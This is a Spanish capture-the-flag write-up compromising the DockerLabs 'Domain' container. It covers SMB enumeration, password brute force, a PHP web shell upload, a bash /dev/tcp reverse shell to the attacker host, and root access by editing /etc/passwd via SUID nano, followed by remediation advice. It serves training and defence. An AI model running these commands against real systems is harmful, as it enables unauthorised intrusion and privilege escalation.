Ir al contenido

Domain

Este documento describe de forma detallada la metodología y el procedimiento completo para comprometer la máquina Domain, desarrollada por El Pingüino de Mario para DockerLabs y clasificada con dificultad Media.

La resolución sigue un enfoque estructurado de pentesting, dividido en las siguientes fases:

  1. Reconocimiento: Identificación de servicios expuestos y enumeración de recursos accesibles.
  2. Explotación: Obtención de acceso inicial mediante fuerza bruta de credenciales SMB y reutilización de contraseñas.
  3. Escalada de privilegios: Evasión de restricciones de shell y abuso de permisos SUID para alcanzar acceso root.

El entorno de prueba fue desplegado localmente mediante DockerLabs, garantizando un ambiente aislado, controlado y reproducible.


AtributoValor
NombreDomain
AutorEl Pingüino de Mario
DificultadMedio
Fecha11/04/2024
PlataformaDockerLabs
IP Objetivo172.17.0.2

Descomprimimos el archivo de la máquina y la desplegamos utilizando el script proporcionado:

Ventana de terminal
unzip Domain.zip
sudo bash auto_deploy.sh Domain.tar

IP asignada

Figura 1: Dirección IP asignada al contenedor

Creamos una estructura de directorios organizada para almacenar escaneos, exploits y evidencias durante el proceso:

Ventana de terminal
mkdir -p Domain/{content,exploits,nmap,scripts}
cd Domain

Ejecutamos un escaneo TCP SYN para identificar todos los puertos abiertos en la máquina objetivo:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Resultados:

  • 80/tcp — HTTP
  • 139/tcp — SMB
  • 445/tcp — SMB

Puertos abiertos

Figura 2: Puertos identificados como abiertos


Utilizamos la herramienta enum4linux para enumerar usuarios, recursos compartidos y configuraciones del servicio SMB:

Ventana de terminal
enum4linux -a 172.17.0.2

Hallazgos clave:

  1. Usuarios identificados: Usuarios SMB
  • james
  • bob
  1. Recursos compartidos (shares): Shares disponibles
  • html
  • print$

Realizamos un escaneo de directorios y archivos web utilizando feroxbuster:

Ventana de terminal
feroxbuster -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,txt,js,json -t 100 -C 404

Tras el escaneo no se identificaron recursos adicionales de interés, únicamente el archivo index por defecto:

content of index


Utilizamos crackmapexec junto al diccionario rockyou.txt para realizar un ataque de fuerza bruta contra el servicio SMB:

Ventana de terminal
crackmapexec smb 172.17.0.2 -u users.txt -p rockyou.txt

Resultado fuerza bruta

Figura 4: Credenciales válidas obtenidas

Credenciales comprometidas: bob:PASSWORD


Accedemos al recurso compartido html utilizando las credenciales obtenidas:

Ventana de terminal
smbclient //172.17.0.2/html -U bob%PASSWORD

Contenido del share

Figura 5: Archivo index encontrado en el share

El recurso compartido únicamente contiene el archivo index, lo que indica que el contenido web se sirve directamente desde este directorio SMB. Aprovechando esta configuración, procedemos a subir una web shell en PHP:

upload shell

Una vez cargada, accedemos a la URL http://172.17.0.2/shell.php e ingresamos el comando id para comprobar su funcionamiento:

id webshell

La ejecución es exitosa. A continuación, levantamos un listener en la máquina atacante:

Ventana de terminal
nc -nlvp 443

Desde la web shell ejecutamos el siguiente comando para obtener una reverse shell:

Ventana de terminal
bash -c "bash -i >& /dev/tcp/172.17.0.1/443 0>&1"

Al revisar el listener, confirmamos que la conexión se ha establecido correctamente:

reverseshell

Obtenemos acceso interactivo como el usuario www-data.


Esta escalada resulta trivial, ya que reutilizamos las credenciales obtenidas previamente del servicio SMB, las cuales permiten iniciar sesión como el usuario bob.


Comenzamos revisando los privilegios sudo:

Ventana de terminal
sudo -l

El usuario no tiene permisos sudo asignados, por lo que procedemos a enumerar binarios con permisos SUID:

Ventana de terminal
find / -perm -4000 2>/dev/null

El resultado es el siguiente:

find result

Entre los binarios identificados destaca nano. Intentamos obtener una shell mediante:

Ventana de terminal
nano
ctrl + R
ctrl + X
reset; sh 1>&0 2>&0

Sin embargo, este método no produce resultados. Como alternativa, aprovechamos nano para modificar el archivo /etc/passwd.

  1. Preparación del archivo modificado: Editamos el archivo y eliminamos la x del usuario root, deshabilitando así la autenticación por contraseña.
Ventana de terminal
nano /etc/passwd
# Eliminar la 'x' de la línea de root

Finalmente, ejecutamos:

Ventana de terminal
su root

Obteniendo acceso como superusuario:

root


VulnerabilidadSeveridadImpacto
Contraseñas débiles y reutilizaciónAltaAcceso inicial al sistema
Configuración de SMB expuestaMediaEnumeración de usuarios y recursos
Permisos SUID en binario nanoCríticaElevación de privilegios a root
Restricciones de rbash mal implementadasMediaFacilita evasión de controles

  • Implementar políticas de contraseñas robustas y evitar la reutilización de credenciales entre servicios.
  • Restringir el acceso anónimo y la enumeración de usuarios en servicios SMB.
  • Revisar y eliminar permisos SUID innecesarios, especialmente en binarios interactivos como nano.
  • Aislar los recursos compartidos del directorio raíz del servicio web.
  • Aplicar principios de mínimo privilegio para usuarios y servicios del sistema.
  • Monitorear y auditar accesos a servicios críticos de forma periódica.